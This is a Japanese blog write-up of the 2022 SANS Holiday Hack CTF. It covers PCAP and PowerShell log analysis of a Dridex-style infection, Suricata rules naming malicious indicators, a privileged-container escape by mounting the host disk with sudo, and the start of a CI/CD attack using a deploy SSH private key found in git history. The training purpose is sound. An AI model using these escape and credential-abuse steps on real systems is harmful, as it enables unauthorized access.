好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2022 SANS Holiday Hack Challenge writeup (Japanese)

2022 SANS Holiday Hack のwriteupです。英語のレポートも提出したので、英語版もあります

今年も時間がないないと言いながら、12月に開催されていた 2022 SANS Holiday Hack に参加していました!

今年は全体的にかっこいい雰囲気。
自分のアバターを作成し、RPG風に自分のキャラクターを操作していくつかのMapをウロウロしながら、主にセキュリティに関連するIT基礎知識・攻撃手法や防御手法を使って問題を解いていくゲームです。
レポートを書いて提出すると、SWAGが当たったり賞がもらえたりする期間はもう終わってしまっていますが、このあともしばらく遊べるそうなので興味が湧いた方は是非!

2022.kringlecon.com

HolidayHackについての紹介は昨年、こちらにちょっと詳しめに書いています

難易度は、linuxのコマンドを指定されたとおりに叩くだけ、と言った入門者レベルから、talk movie (このイベントのために撮影された技術講演)をよく見て技術を理解し、自分で実践してみるという結構根気のいるものまで。ただ、ヒントや参考コード、サイト、movieがとても手厚いので、セキュリティ専門の人や普段CTFつよつよの人じゃなくても、時間さえかければいいとこまで行ける印象です。

1月7日までにレポートを書いて提出すると、抽選でもらえる景品があったり、優れたレポート・面白いレポートに関しては賞が用意されています。SANSのトレーニング無料バウチャーとか、金額に換算すると結構なものですよね…。じゅるり。

今年もこの傾向は変わっておらず。ただ全体的に入門者により優しくなった印象を受けました。
今年は

  • Log Analysis (Wireshark/WindowsEventLog/Suricata)
  • DevOps (GitLab/CI/CD)
  • Web (IMDS/XXE/XXS/CPS)
  • Cloud (AWS)
  • Smart Contract

の5つのジャンルからの出題でした。
それぞれのジャンルをクリアする度に、一つずつGolden Ringを取り返していくというストーリー。
例年はサンタのお城をウロウロして問題を探したりといたりしていくのですが、今年はサンタ城が凍ってしまって入れず。地下の洞穴をウロウロしてアイテムを見つけたり問題を探して解いたりする感じでした。ちょっと新鮮。

全部の指輪を集めるとサンタ城に入れるようになり、Challengeクリア!
英語版はレポート形式で解答まで全部書いているのですが、こちらは長くなるのでちょっと端折ってます。具体的な解答が知りたい場合はこちらの英語版で

tech.kusuwada.com

あとこれ。

"Five golden rings" は、なんとクリスマス定番ソングの "Twelve Days Of Christmas" に出てくるんですよ!レポート提出し終わったあとに気づいて一人テンション上がってました。耳に残る部分のフレーズ、"ふぁ〜いぶ、ご〜ぉるで〜ん、りぃぃぃ〜んぐず!"です💍

Contents

KringleCon Orientation

例年通り、とても親切なSANS Holiday Hack 初参加の人向けのオリエンテーションがありました。 しかし今年はゲート前にA...KTMが!?自分のWallet Addressを教えてくれるのですが、これは暗号通貨やスマートコントラクトに関連した課題があることを示唆している…?
とりあえず当面の使い道がわからないので、Wallet AddressとKey Number(hex)を控えておきました。

Recover the Tolkien Ring

Tolkien Ringのパートでは、主にLog Analyticsについての問題が出ました。問題を解くだけなら「Yes/No」で聞かれるものは1/2の確率で適当に当てに行く、ドメイン名を答える場合は出てきたドメインを片っ端から入れていく、みたいな作戦で割とすぐ達成できたのですが、レポートを書いて提出するとなるとより深い考察が必要で、最初に解いたときにすごい勘違いをしていたことに気づいた、なんてこともありました。
レポート作成に一番時間がかかったパートかも知れない。

Wireshark Practice

  • Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

Elfがメール経由でフィッシングにあったらしい。この課題は配布されたpcapファイルを解析して、terminalの質問に答えていく形式です。
pcapファイルは Sparkle Redberry からもらえます。

1.There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?:

pcapファイルをwiresharkで開き、メニューのFile > Export Objectsから何かしらをエクスポートしようとしたところ、httpファイルをエクスポートできることがわかりました。ということで、答えはhttp

2.What is the file name of the largest file we can export?:

上記で出てきたのはこの3つのファイル。

一番大きいのは app.php.

3.What packet number starts that app.php file?:

上の画像の通り 687.

4.What is the IP of the Apache server? :

パケット687を確認してみると

687  6.512670    192.185.57.242  10.9.24.101 HTTP    1368    HTTP/1.1 200 OK  (text/html)

Server IPは 192.185.57.242
また、このサーバーがapacheであることも確認できました。

5.What file is saved to the infected host?:

app.phpの中にファイルを保存する部分を発見。

saveAs(blob1, 'Ref_Sept24-2020.zip');

このファイル名が答え。

6.Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by a commas (Ex: Norway, South Korea).:

SSL Certificate の通信のみを見るために、wiresharkでこの filter を適用。

ssl.handshake.type == 11

そして、countryの情報の列を追加してみました。内容はx509sat.CountryName

いい感じ。ここから4つのcountry codeが確認できます。このサイトで国名を取得。

  • IL: Israel
  • US: United States
  • IE: Ireland
  • SS: South Sudan

アルファベット順にして、 Ireland, Israel, South Sudan, United States が解答。

  1. Is the host infected (Yes/No)?:

wireshark上で、上記687番のpacketを選択、右クリック、Follow > HTTP Stream をやってみます。
怪しいbase64のデータを発見。

このデータを抽出してbase64 decodeし、ファイルとして保存してみました。(問題内容からzipだろうと当たりをつけて)

$ cat suspicious_b64.dat | base64 -D > output.zip

回答してみると、Ref_Sept24-2020.scr というファイルが出現。ファイル形式を確認。

$ file Ref_Sept24-2020.scr 
Ref_Sept24-2020.scr: PE32 executable (GUI) Intel 80386, for MS Windows, RAR self-extracting archive

Windows用の実行ファイルでした。
幸い(?)Macしか持っていないし、じゃあ実行してみるか!というのも危険なので、このファイルのsha256を計算してvirus totalでhash検索。

出てきました。
45/59のセキュリティベンダーと、4つのsandboxがこれを悪意のあるものとして報告しています。192.185.57.242からのファイルは何らかのマルウェアであるということができるでしょう。

このファイルを取得した後、hostは怪しいTLS Certificateを利用しているサイトにIP直指定でアクセスし始めています。この挙動からも、hostは感染してしまっていると言うことができるでしょう。答えはyesです。

自分で解析してみた後、Wireshark Tutorial: Examining Dridex Infection Traffic - by paloaltonetworks というパロアルトネットワークスの記事を見つけました。日本語もあったので読みやすかった。今回の問題のpacketは、この状況と酷似しています。"bad issuer"のサンプルとして出てきたcommon name, "heardbellith.Icanwepeh.nagoya" や "psprponounst.aquarelle" も、今回のpacketの中にいました。

感染後の怪しい挙動として挙げられているIP直指定のアクセスについても認められました。このfilterをwiresharkに適用すると、ドメイン名なしのアクセスを複数観測することができます。

(http.request or tls.handshake.type eq 1) and !(ssdp)

上記サイトで示された"Dridex infection"の証拠との強い関連性から、今回の調査対象hostは"Dridex"に感染したということができそうです。

Windows Event Logs

Investigate the Windows event log mystery in the terminal or offline. Get hints for this challenge by typing hint in the upper panel of the Windows Event Logs terminal.

Windows全然わかりません民なので、Windows周りのログ解析はツールを揃えにくかったりして苦手なのですが、とにかくやってみます。
まずは、リンク先からWindows Event Logを取得しました。

Grinchum successfully downloaded his keylogger and has gathered the admin credentials! We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient. Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file. Please help me analyze this file and answer my questions. Ready to begin?

最初の記述は、このログがPowerShellに関するログであることを示唆しています。
HolidayHackのゲーム上のterminalにこのログが置いてあり、おそらく解析に必要なツールも揃っていたと思われるのですが、気づかず全部localでやりました。

  1. What month/day/year did the attack take place? For example, 09/05/2021.

まず、evtxファイルを xml や json に変換してくれるツールを見つけ、これを使ってみました。
何を血迷ったか、xmlファイルにまず変換してみた。(jsonのほうが明らかに慣れているし使いやすかった気がする)

$ evtx_dump -f dump.xml -o xml powershell.evtx

Windows Event Logの構造を変換後のxmlで確認し、日付のヒストグラムを作成するプログラムを書いてみました。

#!/usr/bin/env python3
from datetime import datetime
from xml.etree.ElementTree import fromstring, ElementTree

## main

records = []
i = 0
xml = ''

### put xml in arry
with open('dump.xml', 'r') as f:
    for line in f:
        if line.startswith('Record'):
            if i!=0:
                tree = ElementTree(fromstring(xml))
                records.append(tree.getroot())
            i += 1
            xml = ''
        else:
            xml += line
print('Events: ' + str(i))

### extract SystemTime
dates = {}
for record in records:
    for child in record:
        if 'System' in child.tag:
            for item in child:
                if 'TimeCreated' in item.tag:
                    d = datetime.strptime(item.attrib['SystemTime'], '%Y-%m-%dT%H:%M:%S.%fZ')
                    d_f = d.strftime("%m/%d/%y")
                    if d_f in dates.keys():
                        dates[d_f] += 1
                    else:
                        dates[d_f] = 1
print(dates)

実行結果

$ python date_hist.py
Events: 10434
{'10/13/22': 46, '11/01/22': 34, '11/11/22': 240, '11/19/22': 1422, '11/26/22': 36, '12/04/22': 181, '12/13/22': 2088, '12/18/22': 36, '12/23/22': 2811, '12/24/22': 3539}

最もレコードが多かったのは 12/24/2022

  1. An attacker got a secret from a file. What was the original file's name?

先程の変換後のxml(dump.xml)で"secret"をgrep。いくつかのrecord中にsecret ingredientという記述を発見。 12/24のレコードである EventRecordID:7905 に、下記の記述が。これがおそらく初めのrecipeに関するsecretの記載。

1/2 tsp honey (secret ingredient)

ここからログをさかのぼって見ていったところ、 EventRecordID:7903 にこのコマンドを発見。

CommandInvocation(Get-Content): Get-Content
ParameterBinding(Get-Content): name=Path; value=.\Recipe

ということで、この情報は Recipe というファイルのものとわかります。

  1. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.:

xml辛くなってきたので、ここからjson(dump_json.txt)に切り替え。 Recipeをgrepし、すぐにこの記述を見つけました。

$foo = Get-Content .\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'

その後も、たくさんの同様のコマンドを発見。どうやら攻撃者は $foo という変数に中身を格納しているようです。
そこで、 $foo をログの最後から検索してみました。

$foo | Add-Content -Path 'Recipe'
$foo | Add-Content -Path 'Recipe.txt'
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}

逆順にこんな感じで見つかりました。この中で、最後のコマンドが "retrieved, changed, and stored to a variable" を満たしているので、これが答え。

  1. After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.:

この問題の意図するところがわかってきた気がします。PowerShellのコマンドやイベントログについての学習が目的っぽい。
今回は、問題文の "used the variable to run a separate command that wrote the modified data to a file" に相当するPowerShellのコマンドを探してみます。

この例: "Example 4: Add the contents of a specified file to another file using the pipeline" が非常に近い。ので、 "Add-Content -Path" でログをお尻からgrepしてみました。

最後のコマンドはこれで、これが答えでした。

$foo | Add-Content -Path 'Recipe'
  1. The attacker ran the previous command against a file multiple times. What is the name of this file?:

さっきのコマンドは Add-Content -Path だったので、引き続きこのコマンドで検索していったところ、最も使用されているファイル名は Recipe.txt でした。これが答え。

  1. Were any files deleted? (Yes/No):

これらのファイル削除用のコマンドを発見。

del .\Recipe.txt
del .\recipe_updated.txt

なので答えは Yes。

  1. Was the original file (from question 2) deleted? (Yes/No) :

オリジナルファイルは .\Recipe でしたが、ファイル削除は上記2つのみだったのでオリジナルは削除されていない様子。答えはNo。

  1. What is the Event ID of the log that shows the actual command line used to delete the file?

No.7で参照したコマンドは、EventID: 4104 となっていました。

Record 7936
{
  "Event": {
    "#attributes": {
      "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event"
    },
    "EventData": {
      "MessageNumber": 1,
      "MessageTotal": 1,
      "Path": "",
      "ScriptBlockId": "b0d4f117-b6d4-449b-a179-2c59d6b4f548",
      "ScriptBlockText": "del .\\Recipe.txt"
    },
    "System": {
      "Channel": "Microsoft-Windows-PowerShell/Operational",
      "Computer": "DESKTOP-R65OKRB",
      "Correlation": {
        "#attributes": {
          "ActivityID": "54BDC5C1-F7AB-0001-BA76-BF54ABF7D801"
        }
      },
      "EventID": 4104,
      "EventRecordID": 8428,
      "Execution": {
        "#attributes": {
          "ProcessID": 1216,
          "ThreadID": 4080
        }
...

答えは 4104 なのですが、他のEventIDやそれぞれのIDの意味が気になったので調べてみました。
前の問いで作成した日付のヒストグラムを出すスクリプトを少し改変し、EventIDのヒストグラムを出してみました。

$ python event_hist.py
Events: 10434
{'4106': 4627, '4103': 939, '4104': 214, '4105': 4627, '40961': 8, '53504': 8, '40962': 8, '4100': 2}

以下のページを参照しつつ、出てきたPowerShellのEventIDと簡単な説明の表を作ってみました。

|EventID|Description| |4106 | Command completed | |4105 | Command started | |4103 | Module Logging | |4104 | Powershell Script Block Logging | |40961| PS Console Starting | |53504| PS IPC Listening Started| |40962| PS Console Ready | |4100 | PowerShell Error |

なるほど。実行したPowerShellのスクリプトログが4104に出るのか。

  1. Is the secret ingredient compromised (Yes/No)?:

攻撃者が下記のコマンドで何度もレシピを改ざんしようとしているのを観測。

$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'

で、改ざん前のオリジナルレシピがこちら。

Recipe from Mixolydian, the Queen of Dorian
Lembanh Original Recipe

2 1/2 all purpose flour
1 Tbsp baking powder
1/4 tsp salt
1/2 c  butter
1/3 c brown sugar
1 tsp cinnamon
1/2 tsp honey (secret ingredient)
2/3 c heavy whipping cream
1/2 tsp vanilla extract
Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.
Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.
Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet.Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).
Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.
Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices

ということで、改ざんしようとしていたということは、オリジナルレシピの "secret ingredient" を攻撃者は知っていたということになります。

Suricata Regatta

Help detect this kind of malicious activity in the future by writing some Suricata rules. Work with Dusty Giftwrap in the Tolkien Ring to get some hints.

対象の端末にて、下記の問題が表示されます。

Use your investigative analysis skills and the suspicious.pcap file to help develop Suricata rules for the elves!
There's a short list of rules started in suricata.rules in your home directory.
First off, the STINC (Santa's Team of Intelligent Naughty Catchers) has a lead for us.
They have some Dridex indicators of compromise to check out. First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.
Add your rule to suricata.rules
Once you think you have it right, run ./rule_checker to see how you've done!
As you get rules correct, rule_checker will ask for more to be added.
If you want to start fresh, you can exit the terminal and start again or cp suricata.rules.backup suricata.rules
Good luck, and thanks for helping save the North Pole!

pcapファイルを解析して傾向を見つけ、 Suricata のためのルールを作成していくのが、この課題の流れっぽい。

elf@6b3f76705544:~$ ls
HELP  logs  rule_checker  suricata.rules  suricata.rules.backup  suspicious.pcap

pcapファイル suspicious.pcap, と、ruleファイル suricata.rules、(とそのバックアップファイル)、checkerを発見。このpcapファイル、最初の問題と同じ中身っぽい。
問題文の通り、現在のルールをcheckerで確認すると、checkerが次は何をするべきかを教えてくれる仕組みのようです。
まずはcheckreを動かしてみます。

$ ./rule_checker
...(omit)
That first rule caught 0 packet(s), but we expected 2. Please try again!

Please create a Suricata rule to catch DNS lookups for adv.epostoday.uk.
Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection.

ほうほう。dns adv.epostoday.uk を捕まえるルールを書けば良さそう。
もともとの suricata.rules を確認したところ、dnsに関する似たような記述を発見。

alert dns $HOME_NET any -> any any (msg:"ET WEB_CLIENT Malicious Chrome Extension Domain Request (stickies .pro in DNS Lookup)"; dns.query; content:"stickies.pro"; nocase; sid:2025218; rev:4;)

見様見真似で、これを今回の課題に合うように書き換えます。

alert dns $HOME_NET any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; sid:1000001;)

最初は sid を使わず書いていたのですが、ルールが複数になってくるとこの sid が必須であったので(エラーが発生した)つけてみました。調べたところ、suricataでは sid: 1000000-1999999 がユーザー定義用、 sid:2200000-2299999 がビルトインルール用とのことだったので、これ以降1000001から連番で振っています。

チェック。動きました👍

$ ./rule_checker
11/12/2022 -- 20:06:10 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:06:10 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:06:10 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:06:10 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242.
Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP.
When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection

For the second indicator, we flagged 0 packet(s), but we expected 681. Please try again!

次は、内部サーバーと192.185.57.242の通信をキャッチする必要がありそう。suricataの基本ルールを確認して、下記のルールを追加。

alert http 192.185.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:1000002;)

OK、通った。

$ ./rule_checker
11/12/2022 -- 20:31:43 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:31:43 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:31:43 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:31:43 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

We heard that some naughty actors are using TLS certificates with a specific CN.
Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya.
When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection

For the third indicator, we flagged 0 packet(s), but we expected 1. Please try again!

heardbellith.Icanwepeh.nagoyaの証明書を使った通信を拾います。このサイトを参照しつつ、下記ルールを作成。

alert tcp any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.subject:"CN=heardbellith.Icanwepeh.nagoya"; sid:1000003;)

通った。

$ ./rule_checker
11/12/2022 -- 20:38:20 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode
11/12/2022 -- 20:38:20 - <Notice> - all 9 packet processing threads, 4 management threads initialized, engine started.
11/12/2022 -- 20:38:20 - <Notice> - Signal Received.  Stopping engine.
11/12/2022 -- 20:38:20 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes
First rule looks good!

Second rule looks good!

Third rule looks good!

OK, one more to rule them all and in the darkness find them.
Let's watch for one line from the JavaScript: let byteCharacters = atob
Oh, and that string might be GZip compressed - I hope that's OK!
Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection

For the fourth indicator, we flagged 0 packet(s), but we expected 1. Please try again!

JavaScript: let byteCharacters = atob の文字列を含む通信を拾うっぽい。ただし、このデータはgzip圧縮されているかもとのこと。
何も知らないので、まずは gzip compressionSuricaata document を検索してみると、圧縮データに関する記載を発見。このドキュメントによると、Suricataの http.response_body については解凍後のデータを読んでfilterしてくれるそうなので、圧縮データについては特別に考慮する必要はなさそう。
ということで、responseのbodyから文字列を引っ掛けるルールを作成。

alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection"; http.response_body; content:"let byteCharacters = atob"; sid:1000004;)

通った。これでこのチャレンジは完了。

Recover the Elfen Ring

今年のHolidayHackで一番楽しかったのが、このジャンルの最後の問題 Jollu CI/CD でした。ヒントも出しすぎず、少なすぎず、そしてguessing要素もほとんど無く。また、うっかりgitにpushしてしまったクレデンシャルからCI/CD環境を通じてどのような攻撃ができるのかを体験でき、ストーリーとしても楽しめました(&勉強になりました)。本番環境のセキュリティを守ることは「必須」と広く認識されるようになりましたが、開発環境やCI/CDパイプラインのセキュリティは優先度が低くなりがちで、実際に開発者の「うっかり」がサイバー攻撃につながるという体験は、教育・訓練上とても良かったと思います。

Clone with a Difference

Use the Wireshark Phishing terminal in the Tolkien Ring to solve the mysteries around the suspicious PCAP. Get hints for this challenge by typing hint in the upper panel of the terminal.

Objectiveの画面からpcapファイルを入手。桟橋のところにあるterminalを開くと、

We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git
This should be easy, right?

Thing is: it doesn't seem to be working for me. This is a public repository though. I'm so confused!

Please clone the repo and cat the README.md file.
Then runtoanswer and tell us the last word of the README.md file!

どうも一筋縄では行かなそうですが、まずはとにかくrepositoryをcloneしてみます。

$ git clone git@haugfactory.com:asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
The authenticity of host 'haugfactory.com (34.171.230.38)' can't be established.
ECDSA key fingerprint is SHA256:CqJXHictW5q0bjAZOknUyA2zzRgSEJLmdMo4nPj5Tmw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'haugfactory.com,34.171.230.38' (ECDSA) to the list of known hosts.
git@haugfactory.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

gitを使うための初期設定やら何やらができてなさそう。そもそもssh通信をするための鍵やらの準備ができているのかな?
と、確認する前に、エルフが "I've heard there's multiple methods" といっていたのを思い出しました。SSHで駄目ならHTTPでやってみよう!ということで、httpでクローンを試みます。

$ git clone https://asnowball@haugfactory.com/asnowball/aws_scripts.git
Cloning into 'aws_scripts'...
remote: Enumerating objects: 64, done.
remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64
Unpacking objects: 100% (64/64), 23.83 KiB | 1.40 MiB/s, done.

うん、できちゃった!
README.md の最後のワードが必要らしいので確認。

## Project status
If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers.

runtoanswer を動かして答えを入力するとクリア。

Prison Escape

Escape from a container. Get hints for this challenge from Bow Ninecandle in the Elfen Ring. What hex string appears in the host file /home/jailer/.ssh/jail.key.priv?

該当の端末を見つけ、開いて問題を確認。

Greetings Noble Player,

You find yourself in a jail with a recently captured Dwarven Elf.

He desperately asks your help in escaping for he is on a quest to aid a friend in a search for treasure inside a crypto-mine.

If you can help him break free of his containment, he claims you would receive "MUCH GLORY!"

Please, do your best to un-contain yourself and find the keys to both of your freedom.
grinchum-land:~$

このObjectiveの説明と端末のこの記述から、何かしらの権限昇格(脱獄)と、誰かの home ディレクトリをマウントして覗くという流れが推測されます。がしかし、どこから始めればよいかわからない。

端末上のhomeディレクトリに役に立ちそうな情報は何も見つからなかったので、ヒントとして与えられたサイトを見てみました。

このヒントのページでは、コンテナが特権モードで動作しているときの確認・攻撃手法について述べてあります。とりあえず、ここで紹介されている通りマシン内のプロセスを確認してみました。

$ cat /proc/1/cgroup
11:blkio:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
10:perf_event:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
9:pids:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
8:devices:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
7:cpu,cpuacct:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
6:freezer:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
5:hugetlb:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
4:net_cls,net_prio:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
3:memory:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
2:cpuset:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
1:name=systemd:/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
0::/docker/af4f9f490708025ee3662bceb4c8a1a9898acba3fee9d7ab50d1e7163f8c83c9
grinchum-land:~$

dockerのプロセス、同じように走っています。これまたサイトと同様に /dev ディレクトリを確認してみました。

$ ls /dev/

autofs           loop1   ptp0      tty12  tty24  tty36  tty48  tty6     vcs1   vcsu
btrfs-control    loop2   pts       tty13  tty25  tty37  tty49  tty60    vcs2   vcsu1
core             loop3   random    tty14  tty26  tty38  tty5   tty61    vcs3   vcsu2
cpu              loop4   shm       tty15  tty27  tty39  tty50  tty62    vcs4   vcsu3
cpu_dma_latency  loop5   snapshot  tty16  tty28  tty4   tty51  tty63    vcs5   vcsu4
cuse             loop6   stderr    tty17  tty29  tty40  tty52  tty7     vcs6   vcsu5
fd               loop7   stdin     tty18  tty3   tty41  tty53  tty8     vcsa   vcsu6
full             mem     stdout    tty19  tty30  tty42  tty54  tty9     vcsa1  vda
fuse             mqueue  tty       tty2   tty31  tty43  tty55  ttyS0    vcsa2  vsock
input            net     tty0      tty20  tty32  tty44  tty56  uhid     vcsa3  zero
kmsg             null    tty1      tty21  tty33  tty45  tty57  uinput   vcsa4
loop-control     nvram   tty10     tty22  tty34  tty46  tty58  urandom  vcsa5
loop0            ptmx    tty11     tty23  tty35  tty47  tty59  vcs      vcsa6

いっぱいある…。で、docker container imageの存在・パーティション・オフセットを確認するコマンドを実行。

$ sudo fdisk -l
Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors
2048 cylinders, 64 heads, 32 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Disk /dev/vda doesn't contain a valid partition table

ようやくimageが /dev/vda にあることが確認できました。ではこのimageをmountしてみましょー!

grinchum-land:~$ sudo mount /dev/vda /mnt
grinchum-land:~$ cd /mnt
grinchum-land:/mnt$ ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   tmp  var

できた。で、このimage内のhomeを確認し、該当のファイル /home/jailer/.ssh/jail.key.priv を発見。catするとクリア。

Jolly CI/CD

Exploit a CI/CD pipeline. Get hints for this challenge from Tinsel Upatree in the Elfen Ring.

titleとエルフとの会話から、この問題はCI/CDに関連していることが推測できます。CI/CDの設定ミスや脆弱性を見つけて利用し、このCI/CDパイプラインを使って構築されたwebサイトからRingを取り返すのがゴール。

######################################################
Mon Dec 12 21:16:56 UTC 2022
On attempt [8] of trying to connect.
If no connection is made after [60] attempts
contact the holidayhack sys admins via discord.
######################################################

Greetings Noble Player,

Many thanks for answering our desperate cry for help!

You may have heard that some evil Sporcs have opened up a web-store selling
counterfeit banners and flags of the many noble houses found in the land of
the North! They have leveraged some dastardly technology to power their
storefront, and this technology is known as PHP!

***gasp***

This strorefront utilizes a truly despicable amount of resources to keep the
website up. And there is only a certain type of Christmas Magic capable of
powering such a thing… an Elfen Ring!

Along with PHP there is something new we've not yet seen in our land.
A technology called Continuous Integration and Continuous Deployment!

Be wary!

Many fair elves have suffered greatly but in doing so, they've managed to
secure you a persistent connection on an internal network.

BTW take excellent notes!

Should you lose your connection or be discovered and evicted the
elves can work to re-establish persistence. In fact, the sound off fans
and the sag in lighting tells me all the systems are booting up again right now.  

Please, for the sake of our Holiday help us recover the Ring and save Christmas!
grinchum-land:~$

端末上をツンツンつついて周り、有用そうなファイルをいくつか見つけました。
そうこうしている間、そういやどこかのエルフがCI/CDとか、どこかにうっかり情報あげちゃった、とか、特定のリポジトリ名を喋ってたなーと思い出し、エルフの会話をおさらいしてみます。

Tinsel Upatreeくんでした。

Now that you've helped me with this, I have time to tell you about the deployment tech I've been working on!
Continuous Integration/Continuous Deployment pipelines allow developers to iterate and innovate quickly.
With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production.
WHOOPS! I didn’t mean to commit that to http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git...
Unfortunately, if attackers can get in that pipeline, they can make an awful mess of things!

このうっかりcommitしちゃったというリポジトリが、今回の課題に絡んでいそうです。
そこで、このリポジトリを http methodでクローンしてきました。

$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git

今回もうまくいきました。
中をチラッと覗いてみて、まずはうっかりしちゃったcommitを探してみることに。

$ git log
(...omit...)
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
Author: knee-oh <sporx@kringlecon.com>
Date:   Tue Oct 25 13:42:54 2022 -0700

    whoops

whoopsなんてコメント、めっちゃ怪しいやん…。
実際うっかりやらかしたときは修正コメントのほうがwhoopsになりそうな気がするけど、そこは置いておいて。
該当のcommitをその前のcommitの状態と比較してみます。

$ git diff e19f653bde9ea3de6af21a587e41e7a909db1ca5 abdea0ebb21b156c01f7533cea3b895c26198c98
diff --git a/.ssh/.deploy b/.ssh/.deploy
new file mode 100644
index 0000000..3f7a9e3
--- /dev/null
+++ b/.ssh/.deploy
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5
+9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g
+AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot
(...omit...)
+-----END OPENSSH PRIVATE KEY-----
diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub
new file mode 100644
index 0000000..8c0b43c
--- /dev/null
+++ b/.ssh/.deploy.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com

